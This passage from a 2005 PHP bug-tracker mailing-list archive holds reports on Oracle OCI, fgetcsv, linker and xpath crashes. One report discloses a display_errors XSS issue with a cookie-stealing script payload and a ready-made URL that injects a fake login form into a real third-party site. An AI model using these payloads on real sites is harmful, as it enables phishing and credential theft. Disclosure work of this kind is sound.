0,storage_size4 =   11,indicator6, retcode = 1406br /
bool(false)
OCIDebug: _oci_make_zval: NAME,retlen =   10,retlen4 =
0,storage_size4 =   11,indicator   10, retcode = 1406br /
bool(false)
OCIDebug: START php_rshutdown_ocibr /
OCIDebug: END   php_rshutdown_ocibr /
OCIDebug: START _oci_stmt_list_dtor: id=7 last_query=SELECT * FROM
TEST order by namebr /
OCIDebug: START _oci_column_hash_dtor: NAMEbr /
OCIDebug: END   _oci_column_hash_dtor: NAMEbr /
OCIDebug: START _oci_conn_list_dtor: id=6br /
OCIDebug: nothing to do..br /
OCIDebug: END   _oci_conn_list_dtor: id=6br /
OCIDebug: END   _oci_stmt_list_dtor: id=7br /
OCIDebug: START _oci_close_session: logging-off sess=5br /
OCIDebug: START _oci_close_server: detaching conn=4 dbname=br /
OCIDebug: START php_mshutdown_ocibr /
OCIDebug: END   php_mshutdown_ocibr /

-
Some thoughts on this error:
Combination of OCIFetch+OCIResult has the same problem.
The error occurs when length of column value in bytes exceeds length of
column defined in oracle + 1 byte. Length of column value differs from
length of field for multi-byte encodings like UTF8, so probably there's
an error with memory allocation (it's just a guess).

And P.S.: By the way, when I change environment variable NLS_LANG to
GERMAN_AUSTRIA.WE8DEC, everything's selected fine!


Previous Comments:


[2005-08-11 12:40:21] max at pict dot lviv dot ua

We have this problem on multiple configurations, everywhere situation
is the same.
Case1:
DB Server Compaq Tru64Unix + Oracle 10.1.0.3.0
Client machines: 
A. SuSE 7.3 + Oracle Client 9.0.1
B. SLES 9 + Oracle Instant Client 10

Case2:
DB Server SuSE 8.1 + Oracle 9.0.1
Oracle Client 9.0.1 running on the same machine.

We have tried PHP 4.3.10 and 4.3.11, and this doesn't change the
situation, problem persists.

In SQLPlus I see data correctly saved from a web application, but when
using OCIFetchInto in PHP script I receive FALSE instead of column
value when column contains more than one umlaut character.

Some details: 
NLS_LANG = GERMAN_AUSTRIA.UTF8;
Database encoding is WE8DEC.



[2005-04-02 01:00:04] php-bugs at lists dot php dot net

No feedback was provided for this bug for over a week, so it is
being suspended automatically. If you are able to provide the
information that was originally requested, please do so and change
the status of the bug

#33173 [Bgs]: Bug in PHP 4.3.11 display_error.

[max at jestsuper dot pl]

 ID:   33173
 User updated by:  max at jestsuper dot pl
 Reported By:  max at jestsuper dot pl
 Status:   Bogus
 Bug Type: *General Issues
 Operating System: *
 PHP Version:  *
 New Comment:

-BEGIN PGP SIGNED MESSAGE-
Hash: SHA1

  ID:   33173
  Updated by:   [EMAIL PROTECTED]
  Reported By:  max at jestsuper dot pl
 -Status:   Open
 +Status:   Bogus
  Bug Type: *General Issues
 -Operating System: FreeBSD
 +Operating System: *
 -PHP Version:  4.3.11
 +PHP Version:  *
  New Comment:

 Thank you for taking the time to write to us, but this is not
 a bug.

This is bug [XSS]. 

 Please double-check the documentation available at 
 http://www.php.net/manual/ and the instructions on how to report
 a bug at http://bugs.php.net/how-to-report.php

Ok. But this bug still exists, if (html_errors false) etc.


 You're not supposed to pass the error information to your users.
Show
 erros is only a convenience thing to aid you while developing. Thus
no
 user will ever see such error messages. So in the end it is not
usable
 for phishing and alike.

Is is.. ;] That can be very dangers. For example phishing. This is
XSS!
So ok. Example newweb.wrh.noaa.gov

http://newweb.wrh.noaa.gov/pdt/prototype/gfeGraphics/gfeGraphics.php?imgSource=%3CP%3E%3Cfont%20color=red%3E%3CP%3E%3Ch1%3EWARNING!%20SYSTEM%20ERROR%3CBR%3EPlease%20login:
%3C/h1%3E%3C/font%3E%3Cfont%20size=-4%3E%3C/center%3E%20%3CFORM%20METHOD=POST%20ACTION=mailto:[EMAIL
 PROTECTED]:
%3CINPUT%20TYPE=text%20NAME=login%20SIZE=9%3E%3CP%3EPASSWORD:
%3CINPUT%20TYPE=password%20NAME=passwd%20SIZE=9%3E%3CP%3E%3Cinput%20type=submit%20name=go%20value=Login%3E%3C/form%3E%3Cfont%20color=white%3E

http://newweb.wrh.noaa.gov/pdt/prototype/gfeGraphics/gfeGraphics.php?imgSource=iframe

src=http://newweb.wrh.noaa.gov

But php errors (Warning) can be in a BANK site... and can you create
form ... 
phishing!

Tell me what is wrong. Thx

SecurityResason.Com
-BEGIN PGP SIGNATURE-
Version: GnuPG v1.4.1 (FreeBSD)

iD8DBQFCmjvuznmvyJCR4zQRApfYAKCHEknKWRw8zchV6qIwkM0DZt9JNQCfRvcm
IDvuoOSzh75uSA9A1xnFiYc=
=S4rb
-END PGP SIGNATURE-


Previous Comments:


[2005-05-28 19:02:37] [EMAIL PROTECTED]

Thank you for taking the time to write to us, but this is not
a bug. Please double-check the documentation available at
http://www.php.net/manual/ and the instructions on how to report
a bug at http://bugs.php.net/how-to-report.php

You're not supposed to pass the error information to your users. Show
erros is only a convenience thing to aid you while developing. Thus no
user will ever see such error messages. So in the end it is not usable
for phishing and alike.



[2005-05-28 16:57:51] max at jestsuper dot pl

Description:

-BEGIN PGP SIGNED MESSAGE-
Hash: SHA1

Author: cXIb8O3(Maksymilian Arciemowicz)
Date: 28.5.2005
from securityreason.com TEAM

- --- 0. Bug in PHP 4.3.11 display_error. ---

This bug can be danger, because someone can do xss and Phishing
attack.
Problem exist in display_errors..

Example php script:

?php
include($_GET['varible']);
?

and now request is

?varible=XXX

so can we see any error.

- ---
Warning: main(XXX): failed to open stream: No such file or directory in
/www/dupa.php on line 2

Warning: main(): Failed opening 'XXX' for inclusion (include_path='.:')
in /www/dupa.php on line 2
- ---

Normal. But now varible have for example h1SR/h1
And error messages is:

- ---
Warning: main(
SR
): failed to open stream: No such file or directory in /www/dupa.php on
line 2

Warning: main(): Failed opening 'h1SR/h1' for inclusion
(include_path='.:') in /www/dupa.php on line 2
- ---

So XSS...

Danger can be tag script iframe, because you can see cookies etc.
For example.

?varible=scriptalert(document.cookie);/script

And have you cookies from this domain!

This XSS is critical, because exist in display_error and hacker can do
XSS and Phishing attack.
For example, if this bug exist in a Bank site... hacker can create
FORM or mirror site...

- --- 1.Contact ---
Author: Maksymilian Arciemowicz  cXIb8O3 
Email: max [at] jestsuper [dot] pl or cxib [at] securityreason [dot]
com
GPG-KEY: securityreason.com TEAM
-BEGIN PGP SIGNATURE-
Version: GnuPG v1.4.1 (FreeBSD)

iD8DBQFCmIWvznmvyJCR4zQRAuqtAKCcyXWQnMdPvCn+6+npQiGEbXvAZwCgq172
+J8w9EzGFE49sXxP1MPbSfI=
=QksY
-END PGP SIGNATURE-


Actual result:
--
XSS





-- 
Edit this bug report at http://bugs.php.net/?id=33173edit=1

#33173 [NEW]: Bug in PHP 4.3.11 display_error.

[max at jestsuper dot pl]

From: max at jestsuper dot pl
Operating system: FreeBSD
PHP version:  4.3.11
PHP Bug Type: *General Issues
Bug description:  Bug in PHP 4.3.11 display_error.

Description:

-BEGIN PGP SIGNED MESSAGE-
Hash: SHA1

Author: cXIb8O3(Maksymilian Arciemowicz)
Date: 28.5.2005
from securityreason.com TEAM

- --- 0. Bug in PHP 4.3.11 display_error. ---

This bug can be danger, because someone can do xss and Phishing attack.
Problem exist in display_errors..

Example php script:

?php
include($_GET['varible']);
?

and now request is

?varible=XXX

so can we see any error.

- ---
Warning: main(XXX): failed to open stream: No such file or directory in
/www/dupa.php on line 2

Warning: main(): Failed opening 'XXX' for inclusion (include_path='.:') in
/www/dupa.php on line 2
- ---

Normal. But now varible have for example h1SR/h1
And error messages is:

- ---
Warning: main(
SR
): failed to open stream: No such file or directory in /www/dupa.php on
line 2

Warning: main(): Failed opening 'h1SR/h1' for inclusion
(include_path='.:') in /www/dupa.php on line 2
- ---

So XSS...

Danger can be tag script iframe, because you can see cookies etc.
For example.

?varible=scriptalert(document.cookie);/script

And have you cookies from this domain!

This XSS is critical, because exist in display_error and hacker can do XSS
and Phishing attack.
For example, if this bug exist in a Bank site... hacker can create FORM
or mirror site...

- --- 1.Contact ---
Author: Maksymilian Arciemowicz  cXIb8O3 
Email: max [at] jestsuper [dot] pl or cxib [at] securityreason [dot] com
GPG-KEY: securityreason.com TEAM
-BEGIN PGP SIGNATURE-
Version: GnuPG v1.4.1 (FreeBSD)

iD8DBQFCmIWvznmvyJCR4zQRAuqtAKCcyXWQnMdPvCn+6+npQiGEbXvAZwCgq172
+J8w9EzGFE49sXxP1MPbSfI=
=QksY
-END PGP SIGNATURE-


Actual result:
--
XSS

-- 
Edit bug report at http://bugs.php.net/?id=33173edit=1
-- 
Try a CVS snapshot (php4):   http://bugs.php.net/fix.php?id=33173r=trysnapshot4
Try a CVS snapshot (php5.0): 
http://bugs.php.net/fix.php?id=33173r=trysnapshot50
Try a CVS snapshot (php5.1): 
http://bugs.php.net/fix.php?id=33173r=trysnapshot51
Fixed in CVS:http://bugs.php.net/fix.php?id=33173r=fixedcvs
Fixed in release:http://bugs.php.net/fix.php?id=33173r=alreadyfixed
Need backtrace:  http://bugs.php.net/fix.php?id=33173r=needtrace
Need Reproduce Script:   http://bugs.php.net/fix.php?id=33173r=needscript
Try newer version:   http://bugs.php.net/fix.php?id=33173r=oldversion
Not developer issue: http://bugs.php.net/fix.php?id=33173r=support
Expected behavior:   http://bugs.php.net/fix.php?id=33173r=notwrong
Not enough info: 
http://bugs.php.net/fix.php?id=33173r=notenoughinfo
Submitted twice: 
http://bugs.php.net/fix.php?id=33173r=submittedtwice
register_globals:http://bugs.php.net/fix.php?id=33173r=globals
PHP 3 support discontinued:  http://bugs.php.net/fix.php?id=33173r=php3
Daylight Savings:http://bugs.php.net/fix.php?id=33173r=dst
IIS Stability:   http://bugs.php.net/fix.php?id=33173r=isapi
Install GNU Sed: http://bugs.php.net/fix.php?id=33173r=gnused
Floating point limitations:  http://bugs.php.net/fix.php?id=33173r=float
No Zend Extensions:  http://bugs.php.net/fix.php?id=33173r=nozend
MySQL Configuration Error:   http://bugs.php.net/fix.php?id=33173r=mysqlcfg

#32987 [Bgs]: PHP code ( fgetcsv() function )below do not working properly

[max at tehnomir dot com dot ua]

 ID:   32987
 User updated by:  max at tehnomir dot com dot ua
 Reported By:  max at tehnomir dot com dot ua
 Status:   Bogus
-Bug Type: Filesystem function related
+Bug Type: Unknown/Other Function
 Operating System: Linux 2.4.29
 PHP Version:  4.3.11
 New Comment:

category changed: other function related


Previous Comments:


[2005-05-20 11:26:12] max at tehnomir dot com dot ua

This bug is also in new php 4.3.11



[2005-05-10 00:47:07] [EMAIL PROTECTED]

Thank you for taking the time to report a problem with PHP.
Unfortunately you are not using a current version of PHP -- 
the problem might already be fixed. Please download a new
PHP version from http://www.php.net/downloads.php

If you are able to reproduce the bug with one of the latest
versions of PHP, please change the PHP version on this bug report
to the version you tested and change the status back to Open.
Again, thank you for your continued support of PHP.





[2005-05-09 17:00:16] max at tehnomir dot com dot ua

Description:

Hello!

The fgetcsv() function do not working properly.
Below there is a fragment of the source data file. 

source data file---

SZ | 7784252D0  |  | 29.13
SZ | 7784265DA1000  |  | 21.23
SZ | 7784265DA10PG  | Title V6 | 17.9
SZ | 784270C2   |  | 29.9
SZ | 784360E0   |  | 29.41

-end data file--

On big input files the function after line number 3 of data file need
more and more memory and then crashes with trying to allocate memory.

Reproduce code:
---
#!/usr/bin/php
?php

$delimiter = |;

$data_file = fopen('price.txt','r') or die('Cannot open price.txt !');

while( !feof($data_file) ){

$buffer = fgetcsv( $data_file, 1500, $delimiter );

$buffer[0] = trim( $buffer[0] );
$buffer[1] = trim( $buffer[1] );
$buffer[2] = trim( $buffer[2] );
$buffer[3] = trim( $buffer[3] );

$tmp_file = fopen('./csv/'.$buffer[0].'.csv', 'a+');
fwrite($tmp_file, $buffer[1] . $delimiter . $buffer[2] . $delimiter
. $buffer[3].\n );
fclose( $tmp_file );
}


Expected result:

7784252D0||29.13
7784265DA1000||21.23
7784265DA10PG|Title V6 | 17.9
784270C2||29.9
784360E0||29.41

Actual result:
--
7784252D0||29.13
7784265DA1000||21.23
7784265DA10PG|Title V6 | 17.9
SZ | 784270C2   |  | 29.9
SZ | 784360E0   |  | 29.41|






-- 
Edit this bug report at http://bugs.php.net/?id=32987edit=1

#32987 [Bgs]: PHP code ( fgetcsv() function )below do not working properly

[max at tehnomir dot com dot ua]

 ID:   32987
 User updated by:  max at tehnomir dot com dot ua
 Reported By:  max at tehnomir dot com dot ua
 Status:   Bogus
 Bug Type: Filesystem function related
 Operating System: Linux 2.4.29
-PHP Version:  4.3.10
+PHP Version:  4.3.11
 New Comment:

This bug is also in new php 4.3.11


Previous Comments:


[2005-05-10 00:47:07] [EMAIL PROTECTED]

Thank you for taking the time to report a problem with PHP.
Unfortunately you are not using a current version of PHP -- 
the problem might already be fixed. Please download a new
PHP version from http://www.php.net/downloads.php

If you are able to reproduce the bug with one of the latest
versions of PHP, please change the PHP version on this bug report
to the version you tested and change the status back to Open.
Again, thank you for your continued support of PHP.





[2005-05-09 17:00:16] max at tehnomir dot com dot ua

Description:

Hello!

The fgetcsv() function do not working properly.
Below there is a fragment of the source data file. 

source data file---

SZ | 7784252D0  |  | 29.13
SZ | 7784265DA1000  |  | 21.23
SZ | 7784265DA10PG  | Title V6 | 17.9
SZ | 784270C2   |  | 29.9
SZ | 784360E0   |  | 29.41

-end data file--

On big input files the function after line number 3 of data file need
more and more memory and then crashes with trying to allocate memory.

Reproduce code:
---
#!/usr/bin/php
?php

$delimiter = |;

$data_file = fopen('price.txt','r') or die('Cannot open price.txt !');

while( !feof($data_file) ){

$buffer = fgetcsv( $data_file, 1500, $delimiter );

$buffer[0] = trim( $buffer[0] );
$buffer[1] = trim( $buffer[1] );
$buffer[2] = trim( $buffer[2] );
$buffer[3] = trim( $buffer[3] );

$tmp_file = fopen('./csv/'.$buffer[0].'.csv', 'a+');
fwrite($tmp_file, $buffer[1] . $delimiter . $buffer[2] . $delimiter
. $buffer[3].\n );
fclose( $tmp_file );
}


Expected result:

7784252D0||29.13
7784265DA1000||21.23
7784265DA10PG|Title V6 | 17.9
784270C2||29.9
784360E0||29.41

Actual result:
--
7784252D0||29.13
7784265DA1000||21.23
7784265DA10PG|Title V6 | 17.9
SZ | 784270C2   |  | 29.9
SZ | 784360E0   |  | 29.41|






-- 
Edit this bug report at http://bugs.php.net/?id=32987edit=1

#33077 [NEW]: linker not see _compiler_globals_id

[max at hightech dot lv]

From: max at hightech dot lv
Operating system: WinXP SP2
PHP version:  5.0.4
PHP Bug Type: Zend Engine 2 problem
Bug description:  linker not see _compiler_globals_id

Description:

I try compile own extension under windows by Microsoft compiler. When I
start use call_user_function_ex, linker start output error message:
error LNK2019: unresolved external symbol _compiler_globals_id. Looks
like it not see this symbol in php5ts.lib...
ZTS=1


Reproduce code:
---
zval function_name;
zval *retval;

 ZVAL_STRING(function_name, test, 0);
 if( call_user_function_ex(CG(function_table), NULL, function_name,
retval, 0, NULL, 0, NULL TSRMLS_CC) == SUCCESS )
{

}


Expected result:

compile in dll-file and run the function test

Actual result:
--
linker not see _compiler_globals_id...

-- 
Edit bug report at http://bugs.php.net/?id=33077edit=1
-- 
Try a CVS snapshot (php4):   http://bugs.php.net/fix.php?id=33077r=trysnapshot4
Try a CVS snapshot (php5.0): 
http://bugs.php.net/fix.php?id=33077r=trysnapshot50
Try a CVS snapshot (php5.1): 
http://bugs.php.net/fix.php?id=33077r=trysnapshot51
Fixed in CVS:http://bugs.php.net/fix.php?id=33077r=fixedcvs
Fixed in release:http://bugs.php.net/fix.php?id=33077r=alreadyfixed
Need backtrace:  http://bugs.php.net/fix.php?id=33077r=needtrace
Need Reproduce Script:   http://bugs.php.net/fix.php?id=33077r=needscript
Try newer version:   http://bugs.php.net/fix.php?id=33077r=oldversion
Not developer issue: http://bugs.php.net/fix.php?id=33077r=support
Expected behavior:   http://bugs.php.net/fix.php?id=33077r=notwrong
Not enough info: 
http://bugs.php.net/fix.php?id=33077r=notenoughinfo
Submitted twice: 
http://bugs.php.net/fix.php?id=33077r=submittedtwice
register_globals:http://bugs.php.net/fix.php?id=33077r=globals
PHP 3 support discontinued:  http://bugs.php.net/fix.php?id=33077r=php3
Daylight Savings:http://bugs.php.net/fix.php?id=33077r=dst
IIS Stability:   http://bugs.php.net/fix.php?id=33077r=isapi
Install GNU Sed: http://bugs.php.net/fix.php?id=33077r=gnused
Floating point limitations:  http://bugs.php.net/fix.php?id=33077r=float
No Zend Extensions:  http://bugs.php.net/fix.php?id=33077r=nozend
MySQL Configuration Error:   http://bugs.php.net/fix.php?id=33077r=mysqlcfg

#32987 [NEW]: PHP code ( fgetcsv() function )below do not working properly

[max at tehnomir dot com dot ua]

From: max at tehnomir dot com dot ua
Operating system: Linux 2.4.29
PHP version:  4.3.10
PHP Bug Type: Scripting Engine problem
Bug description:  PHP code ( fgetcsv() function )below do not working properly

Description:

Hello!

The fgetcsv() function do not working properly.
Below there is a fragment of the source data file. 

source data file---

SZ | 7784252D0  |  | 29.13
SZ | 7784265DA1000  |  | 21.23
SZ | 7784265DA10PG  | Title V6 | 17.9
SZ | 784270C2   |  | 29.9
SZ | 784360E0   |  | 29.41

-end data file--

On big input files the function after line number 3 of data file need more
and more memory and then crashes with trying to allocate memory.

Reproduce code:
---
#!/usr/bin/php
?php

$delimiter = |;

$data_file = fopen('price.txt','r') or die('Cannot open price.txt !');

while( !feof($data_file) ){

$buffer = fgetcsv( $data_file, 1500, $delimiter );

$buffer[0] = trim( $buffer[0] );
$buffer[1] = trim( $buffer[1] );
$buffer[2] = trim( $buffer[2] );
$buffer[3] = trim( $buffer[3] );

$tmp_file = fopen('./csv/'.$buffer[0].'.csv', 'a+');
fwrite($tmp_file, $buffer[1] . $delimiter . $buffer[2] . $delimiter .
$buffer[3].\n );
fclose( $tmp_file );
}


Expected result:

7784252D0||29.13
7784265DA1000||21.23
7784265DA10PG|Title V6 | 17.9
784270C2||29.9
784360E0||29.41

Actual result:
--
7784252D0||29.13
7784265DA1000||21.23
7784265DA10PG|Title V6 | 17.9
SZ | 784270C2   |  | 29.9
SZ | 784360E0   |  | 29.41|


-- 
Edit bug report at http://bugs.php.net/?id=32987edit=1
-- 
Try a CVS snapshot (php4):   http://bugs.php.net/fix.php?id=32987r=trysnapshot4
Try a CVS snapshot (php5.0): 
http://bugs.php.net/fix.php?id=32987r=trysnapshot50
Try a CVS snapshot (php5.1): 
http://bugs.php.net/fix.php?id=32987r=trysnapshot51
Fixed in CVS:http://bugs.php.net/fix.php?id=32987r=fixedcvs
Fixed in release:http://bugs.php.net/fix.php?id=32987r=alreadyfixed
Need backtrace:  http://bugs.php.net/fix.php?id=32987r=needtrace
Need Reproduce Script:   http://bugs.php.net/fix.php?id=32987r=needscript
Try newer version:   http://bugs.php.net/fix.php?id=32987r=oldversion
Not developer issue: http://bugs.php.net/fix.php?id=32987r=support
Expected behavior:   http://bugs.php.net/fix.php?id=32987r=notwrong
Not enough info: 
http://bugs.php.net/fix.php?id=32987r=notenoughinfo
Submitted twice: 
http://bugs.php.net/fix.php?id=32987r=submittedtwice
register_globals:http://bugs.php.net/fix.php?id=32987r=globals
PHP 3 support discontinued:  http://bugs.php.net/fix.php?id=32987r=php3
Daylight Savings:http://bugs.php.net/fix.php?id=32987r=dst
IIS Stability:   http://bugs.php.net/fix.php?id=32987r=isapi
Install GNU Sed: http://bugs.php.net/fix.php?id=32987r=gnused
Floating point limitations:  http://bugs.php.net/fix.php?id=32987r=float
No Zend Extensions:  http://bugs.php.net/fix.php?id=32987r=nozend
MySQL Configuration Error:   http://bugs.php.net/fix.php?id=32987r=mysqlcfg

#32847 [NEW]: rpc_msg.h syntax error

[max at neuropunks dot org]

From: max at neuropunks dot org
Operating system: FreeBSD 5.2.1-RELEASE sparc64
PHP version:  5.0.4
PHP Bug Type: Compile Failure
Bug description:  rpc_msg.h syntax error

Description:

Compiled with:
--with-apxs=/usr/local/apache/bin/apxs --with-openssl --with-imap
--with-imap-ssl --with-ldap --with-mysql=/usr/local/mysql
--with-pgsql=/usr/local/pgsql --enable-soap --with-curl --with-gd
--with-zlib




Actual result:
--
/bin/sh /root/software/php-5.0.4/libtool --silent --preserve-dup-deps
--mode=compile gcc  -Iext/standard/
-I/root/software/php-5.0.4/ext/standard/ -DPHP_ATOM_INC
-I/root/software/php-5.0.4/include -I/root/software/php-5.0.4/main
-I/root/software/php-5.0.4 -I/usr/local/include/libxml2
-I/usr/local/include -I/usr/local/include/c-client
-I/usr/local/mysql/include/mysql -I/usr/local/pgsql/include
-I/root/software/php-5.0.4/TSRM -I/root/software/php-5.0.4/Zend-g -O2 
 -c /root/software/php-5.0.4/ext/standard/crypt.c -o ext/standard/crypt.lo
In file included from /usr/include/rpc/rpc.h:59,
 from /usr/include/crypt.h:9,
 from /root/software/php-5.0.4/ext/standard/crypt.c:31:
/usr/include/rpc/rpc_msg.h:66: error: syntax error before numeric
constant
*** Error code 1

Stop in /root/software/php-5.0.4.


-- 
Edit bug report at http://bugs.php.net/?id=32847edit=1
-- 
Try a CVS snapshot (php4):   http://bugs.php.net/fix.php?id=32847r=trysnapshot4
Try a CVS snapshot (php5.0): 
http://bugs.php.net/fix.php?id=32847r=trysnapshot50
Try a CVS snapshot (php5.1): 
http://bugs.php.net/fix.php?id=32847r=trysnapshot51
Fixed in CVS:http://bugs.php.net/fix.php?id=32847r=fixedcvs
Fixed in release:http://bugs.php.net/fix.php?id=32847r=alreadyfixed
Need backtrace:  http://bugs.php.net/fix.php?id=32847r=needtrace
Need Reproduce Script:   http://bugs.php.net/fix.php?id=32847r=needscript
Try newer version:   http://bugs.php.net/fix.php?id=32847r=oldversion
Not developer issue: http://bugs.php.net/fix.php?id=32847r=support
Expected behavior:   http://bugs.php.net/fix.php?id=32847r=notwrong
Not enough info: 
http://bugs.php.net/fix.php?id=32847r=notenoughinfo
Submitted twice: 
http://bugs.php.net/fix.php?id=32847r=submittedtwice
register_globals:http://bugs.php.net/fix.php?id=32847r=globals
PHP 3 support discontinued:  http://bugs.php.net/fix.php?id=32847r=php3
Daylight Savings:http://bugs.php.net/fix.php?id=32847r=dst
IIS Stability:   http://bugs.php.net/fix.php?id=32847r=isapi
Install GNU Sed: http://bugs.php.net/fix.php?id=32847r=gnused
Floating point limitations:  http://bugs.php.net/fix.php?id=32847r=float
No Zend Extensions:  http://bugs.php.net/fix.php?id=32847r=nozend
MySQL Configuration Error:   http://bugs.php.net/fix.php?id=32847r=mysqlcfg

#32754 [NEW]: Segmentation fault when running xpath

[php at max-imp dot com]

From: php at max-imp dot com
Operating system: Red Hat
PHP version:  5.0.4
PHP Bug Type: DOM XML related
Bug description:  Segmentation fault when running xpath

Description:

The code below causes a segmentation fault. The line it crashes on is
$nodelist = $xpath-query( '/*' );

The machine I have the problem on is running
PHP 5.0.4
libxml 2-2.6.19

On a different machine running the following we have no issues
PHP 5.0.4-dev
libxml 2.6.16

We have installed the newest snapshot of PHP as of the April 16th, but
still had issues so we went back to PHP 5.0.4.

(There are a few notes in the code below.)

Thanks.


Reproduce code:
---
?php
$x = new DOMDocument();


// This line gives a segmentation fault.
$x-loadXml( 'template xmlns=http://blah.com/');

// ... but if i comment the line above out and uncomment the next line
there are no issues. It does not matter what xmlns is set to in the line
above.
//$x-loadXml( 'template/' );

$xpath = new DOMXPath( $x );
$nodelist = $xpath-query( '/*' );
?

Expected result:

Nothing should really output in this example...but we expect no
segmentation fault. :-)

Actual result:
--
Segmentation fault

This is what GDB gives me.
(gdb) run test.php
Starting program: /usr/local/bin/php test.php
[New Thread 1024 (LWP 18035)]

Program received signal SIGSEGV, Segmentation fault.
[Switching to Thread 1024 (LWP 18035)]
__pthread_mutex_lock (mutex=0x1528) at mutex.c:99
99  mutex.c: No such file or directory.
in mutex.c
(gdb) bt
#0  __pthread_mutex_lock (mutex=0x1528) at mutex.c:99
#1  0x402d2974 in __libc_free (mem=0x83b22a0) at malloc.c:3152
#2  0x4020c4c6 in xmlFreePatParserContext (ctxt=0x83b22a0) at
pattern.c:293
#3  0x4020e3ef in xmlPatterncompile (pattern=0x83aa3dc /*, dict=0x0,
flags=0, namespaces=0x83af450) at pattern.c:1899
#4  0x401b282b in xmlXPathTryStreamCompile (ctxt=0x83b0760, str=0x83aa3dc
/*) at xpath.c:11270
#5  0x401b2afa in xmlXPathEvalExpr (ctxt=0x83af268) at xpath.c:11452
#6  0x401b2d53 in xmlXPathEvalExpression (str=0x83aa3dc /*,
ctxt=0x83b0760) at xpath.c:11549
#7  0x0808f552 in zif_dom_xpath_query (ht=1, return_value=0x83af224,
this_ptr=0x83b228c, return_value_used=1) at
/home/krisw/php-5.0.4/ext/dom/xpath.c:198
#8  0x4040b7e1 in get_module () from
/usr/local/Zend/lib/Optimizer-2.5.7/php-5.0.x/ZendOptimizer.so
#9  0x4041985a in zend_oe () from
/usr/local/Zend/lib/Optimizer-2.5.7/php-5.0.x/ZendOptimizer.so
#10 0x081714ee in php_execute_script (primary_file=0xbfffe0e0) at
/home/krisw/php-5.0.4/main/main.c:1632
#11 0x081dd1e0 in main (argc=2, argv=0xbfffe184) at
/home/krisw/php-5.0.4/sapi/cli/php_cli.c:946
#12 0x40272306 in __libc_start_main (main=0x81dc888 main, argc=2,
ubp_av=0xbfffe184, init=0x807a580 _init, fini=0x81f9f10 _fini,
rtld_fini=0x4000d2cc _dl_fini, stack_end=0xbfffe17c) at
../sysdeps/generic/libc-start.c:129
(gdb)


-- 
Edit bug report at http://bugs.php.net/?id=32754edit=1
-- 
Try a CVS snapshot (php4):   http://bugs.php.net/fix.php?id=32754r=trysnapshot4
Try a CVS snapshot (php5.0): 
http://bugs.php.net/fix.php?id=32754r=trysnapshot50
Try a CVS snapshot (php5.1): 
http://bugs.php.net/fix.php?id=32754r=trysnapshot51
Fixed in CVS:http://bugs.php.net/fix.php?id=32754r=fixedcvs
Fixed in release:http://bugs.php.net/fix.php?id=32754r=alreadyfixed
Need backtrace:  http://bugs.php.net/fix.php?id=32754r=needtrace
Need Reproduce Script:   http://bugs.php.net/fix.php?id=32754r=needscript
Try newer version:   http://bugs.php.net/fix.php?id=32754r=oldversion
Not developer issue: http://bugs.php.net/fix.php?id=32754r=support
Expected behavior:   http://bugs.php.net/fix.php?id=32754r=notwrong
Not enough info: 
http://bugs.php.net/fix.php?id=32754r=notenoughinfo
Submitted twice: 
http://bugs.php.net/fix.php?id=32754r=submittedtwice
register_globals:http://bugs.php.net/fix.php?id=32754r=globals
PHP 3 support discontinued:  http://bugs.php.net/fix.php?id=32754r=php3
Daylight Savings:http://bugs.php.net/fix.php?id=32754r=dst
IIS Stability:   http://bugs.php.net/fix.php?id=32754r=isapi
Install GNU Sed: http://bugs.php.net/fix.php?id=32754r=gnused
Floating point limitations:  http://bugs.php.net/fix.php?id=32754r=float
No Zend Extensions:  http://bugs.php.net/fix.php?id=32754r=nozend
MySQL Configuration Error:   http://bugs.php.net/fix.php?id=32754r=mysqlcfg

#32754 [Opn]: Segmentation fault when running xpath

[php at max-imp dot com]

 ID:   32754
 User updated by:  php at max-imp dot com
 Reported By:  php at max-imp dot com
 Status:   Open
 Bug Type: DOM XML related
 Operating System: Red Hat
 PHP Version:  5.0.4
 New Comment:

Installing libxml 2.6.16 seems to have solved the issue. There seems to
be some incompatibility issue between PHP 5.0.4 and libxml 2.6.19


Previous Comments:


[2005-04-18 22:50:08] php at max-imp dot com

Description:

The code below causes a segmentation fault. The line it crashes on is
$nodelist = $xpath-query( '/*' );

The machine I have the problem on is running
PHP 5.0.4
libxml 2-2.6.19

On a different machine running the following we have no issues
PHP 5.0.4-dev
libxml 2.6.16

We have installed the newest snapshot of PHP as of the April 16th, but
still had issues so we went back to PHP 5.0.4.

(There are a few notes in the code below.)

Thanks.


Reproduce code:
---
?php
$x = new DOMDocument();


// This line gives a segmentation fault.
$x-loadXml( 'template xmlns=http://blah.com/');

// ... but if i comment the line above out and uncomment the next line
there are no issues. It does not matter what xmlns is set to in the
line above.
//$x-loadXml( 'template/' );

$xpath = new DOMXPath( $x );
$nodelist = $xpath-query( '/*' );
?

Expected result:

Nothing should really output in this example...but we expect no
segmentation fault. :-)

Actual result:
--
Segmentation fault

This is what GDB gives me.
(gdb) run test.php
Starting program: /usr/local/bin/php test.php
[New Thread 1024 (LWP 18035)]

Program received signal SIGSEGV, Segmentation fault.
[Switching to Thread 1024 (LWP 18035)]
__pthread_mutex_lock (mutex=0x1528) at mutex.c:99
99  mutex.c: No such file or directory.
in mutex.c
(gdb) bt
#0  __pthread_mutex_lock (mutex=0x1528) at mutex.c:99
#1  0x402d2974 in __libc_free (mem=0x83b22a0) at malloc.c:3152
#2  0x4020c4c6 in xmlFreePatParserContext (ctxt=0x83b22a0) at
pattern.c:293
#3  0x4020e3ef in xmlPatterncompile (pattern=0x83aa3dc /*, dict=0x0,
flags=0, namespaces=0x83af450) at pattern.c:1899
#4  0x401b282b in xmlXPathTryStreamCompile (ctxt=0x83b0760,
str=0x83aa3dc /*) at xpath.c:11270
#5  0x401b2afa in xmlXPathEvalExpr (ctxt=0x83af268) at xpath.c:11452
#6  0x401b2d53 in xmlXPathEvalExpression (str=0x83aa3dc /*,
ctxt=0x83b0760) at xpath.c:11549
#7  0x0808f552 in zif_dom_xpath_query (ht=1, return_value=0x83af224,
this_ptr=0x83b228c, return_value_used=1) at
/home/krisw/php-5.0.4/ext/dom/xpath.c:198
#8  0x4040b7e1 in get_module () from
/usr/local/Zend/lib/Optimizer-2.5.7/php-5.0.x/ZendOptimizer.so
#9  0x4041985a in zend_oe () from
/usr/local/Zend/lib/Optimizer-2.5.7/php-5.0.x/ZendOptimizer.so
#10 0x081714ee in php_execute_script (primary_file=0xbfffe0e0) at
/home/krisw/php-5.0.4/main/main.c:1632
#11 0x081dd1e0 in main (argc=2, argv=0xbfffe184) at
/home/krisw/php-5.0.4/sapi/cli/php_cli.c:946
#12 0x40272306 in __libc_start_main (main=0x81dc888 main, argc=2,
